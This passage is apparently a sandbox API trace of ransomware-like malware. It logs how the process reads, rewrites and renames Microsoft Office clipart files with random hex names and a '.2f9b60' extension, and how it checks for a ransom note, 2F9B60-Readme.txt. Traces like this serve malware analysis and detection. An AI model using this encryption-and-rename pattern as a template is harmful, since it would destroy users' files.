(in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="00") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="91") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="49") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="62") returned 2 [0128.370] RtlInitAnsiString (in: DestinationString=0x2ce5f708, SourceString="c03a61a4b7ae99cd84aac2615b3777d484e1a6f200914962" | out: DestinationString="c03a61a4b7ae99cd84aac2615b3777d484e1a6f200914962") [0128.370] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ce5f6d8, SourceString="c03a61a4b7ae99cd84aac2615b3777d484e1a6f200914962", AllocateDestinationString=1 | out: DestinationString="c03a61a4b7ae99cd84aac2615b3777d484e1a6f200914962") returned 0x0 [0128.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3500 [0128.371] wcscat (in: _Dest=0x4205c970, _Source="c03a61a4b7ae" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae" [0128.371] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae.2f9b60" [0128.371] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae.2f9b60", NtPathName=0x2ce5f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c03a61a4b7ae.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0128.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0128.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.373] NtQueryInformationFile (in: FileHandle=0x15c0, IoStatusBlock=0x2ce5f718, FileInformation=0x2ce5f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ce5f718, FileInformation=0x2ce5f728) returned 0x0 [0128.373] NtSetInformationFile (FileHandle=0x15c0, IoStatusBlock=0x2ce5f718, FileInformation=0x2ce5f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 [0128.375] FlushFileBuffers (hFile=0x15c0) returned 1 [0128.377] CloseHandle (hObject=0x15c0) returned 1 [0128.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.378] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0128.378] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0128.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0128.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c840) returned 1 Thread: id = 719 os_tid = 0x1220 [0096.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0106.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x20) returned 1 [0106.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0106.989] GetFileSizeEx (in: hFile=0x15f0, lpFileSize=0x2c79fdc0 | out: lpFileSize=0x2c79fdc0*=16676) returned 1 [0106.989] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x4120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.989] ReadFile (in: hFile=0x15f0, lpBuffer=0x2c79fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c79fd88, lpOverlapped=0x0 | out: lpBuffer=0x2c79fd40*, lpNumberOfBytesRead=0x2c79fd88*=0x4, lpOverlapped=0x0) returned 1 [0106.991] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0106.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78f0 [0106.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0106.992] NtQuerySystemTime (in: CurrentTime=0x2c79fc80 | out: CurrentTime=0x2c79fc80*=132462177124834000) returned 0x0 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x36e0b73e [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x54bda781 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x73fbb829 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x26f762fb [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x3e7c3c98 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x29b92c37 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x4d61c335 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x44dc1772 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x3a0f0001 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x1b43bd0b [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x5ad37a52 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x427708c6 [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x131bc13c [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x65ce57fd [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x1726660d [0106.992] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0xda90695 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x30c023b7 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x54eb84dd [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x35aeb1a8 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x2f35df4b [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x4a951905 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x646955a1 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x5f93d48 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x538a7e9a [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x55cf2737 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x7d886ba6 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x6293dcbf [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x4782c748 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x24331d60 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x1843bd1 [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x4d47384d [0106.993] RtlRandomEx (in: Seed=0x2c79fc70 | out: Seed=0x2c79fc70) returned 0x54f53774 [0107.004] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.004] ReadFile (in: hFile=0x15f0, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2c79fce0, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x2c79fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0107.008] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0107.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0107.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0107.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f44990 [0107.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0107.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0107.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0107.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0107.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.009] WriteFile (in: hFile=0x15f0, lpBuffer=0x41f44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2c79fce0, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesWritten=0x2c79fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0107.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0107.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0107.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82aab0 [0107.126] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.126] WriteFile (in: hFile=0x15f0, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c79fd90, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c79fd90*=0x10a, lpOverlapped=0x0) returned 1 [0107.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b890 [0107.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b890) returned 1 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b890 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7b0 [0107.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7b0) returned 1 [0107.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.138] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b0") returned 2 [0107.138] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="bd") returned 2 [0107.138] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="9b") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="21") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="07") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="e0") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="98") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="15") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="28") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="2a") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="18") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="e9") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="a5") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="c2") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="82") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="c4") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="df") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="bd") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="51") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="c3") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="d0") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="2e") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="10") returned 2 [0107.139] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="06") returned 2 [0107.139] RtlInitAnsiString (in: DestinationString=0x2c79fe08, SourceString="b0bd9b2107e09815282a18e9a5c282c4dfbd51c3d02e1006" | out: DestinationString="b0bd9b2107e09815282a18e9a5c282c4dfbd51c3d02e1006") [0107.140] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c79fdd8, SourceString="b0bd9b2107e09815282a18e9a5c282c4dfbd51c3d02e1006", AllocateDestinationString=1 | out: DestinationString="b0bd9b2107e09815282a18e9a5c282c4dfbd51c3d02e1006") returned 0x0 [0107.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864530 [0107.140] wcscat (in: _Dest=0x4205ca10, _Source="b0bd9b2107e0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0" [0107.140] wcscat (in: _Dest=0x4205ca10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0.2f9b60" [0107.140] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0.2f9b60", NtPathName=0x2c79fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b0bd9b2107e0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278ef0 [0107.140] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x2c79fe50, FileInformation=0x20278ef0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 [0109.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0109.622] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x2c79fe18, FileInformation=0x2c79fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c79fe18, FileInformation=0x2c79fe28) returned 0x0 [0109.622] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x2c79fe18, FileInformation=0x2c79fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ca10) returned 1 [0109.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 [0109.624] FlushFileBuffers (hFile=0x15f0) returned 1 [0109.632] CloseHandle (hObject=0x15f0) returned 1 [0109.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205ca10 [0109.633] wcscpy (in: _Dest=0x4205ca10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.633] wcscat (in: _Dest=0x4205ca10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ca10) returned 1 [0109.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c8d0) returned 1 Thread: id = 720 os_tid = 0x1224 [0096.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0106.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x20) returned 1 [0106.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0106.686] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x2c98fbc0 | out: lpFileSize=0x2c98fbc0*=26748) returned 1 [0106.686] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x6878, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.686] ReadFile (in: hFile=0x15e0, lpBuffer=0x2c98fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c98fb88, lpOverlapped=0x0 | out: lpBuffer=0x2c98fb40*, lpNumberOfBytesRead=0x2c98fb88*=0x4, lpOverlapped=0x0) returned 1 [0106.694] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0106.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0106.694] NtQuerySystemTime (in: CurrentTime=0x2c98fa80 | out: CurrentTime=0x2c98fa80*=132462177121870000) returned 0x0 [0106.694] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x2f20941c [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x63d95962 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x4829084e [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x2faddf62 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0xbbe468f [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x5c67b7d6 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x666a8bda [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x577dcfeb [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x1632a8ec [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x3b7debfe [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x1deae122 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x5260fbf4 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x6b2708e8 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x6a03a6bb [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x6e02c24b [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x4099b4cb [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x13902646 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x4d3c8613 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x7871229 [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x4dc347ea [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x3b01b8da [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x7467eefe [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x104da51b [0106.695] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x1ed904e7 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x3b483fb7 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x684693cf [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x7fab0acd [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x73cd7d4 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x2866e2d9 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x7a142c86 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x1885ec9 [0106.696] RtlRandomEx (in: Seed=0x2c98fa70 | out: Seed=0x2c98fa70) returned 0x17b98480 [0106.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec0d80 [0106.707] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.707] ReadFile (in: hFile=0x15e0, lpBuffer=0x41ec0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2c98fae0, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesRead=0x2c98fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.720] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.721] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2c98fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2c98fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0106.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 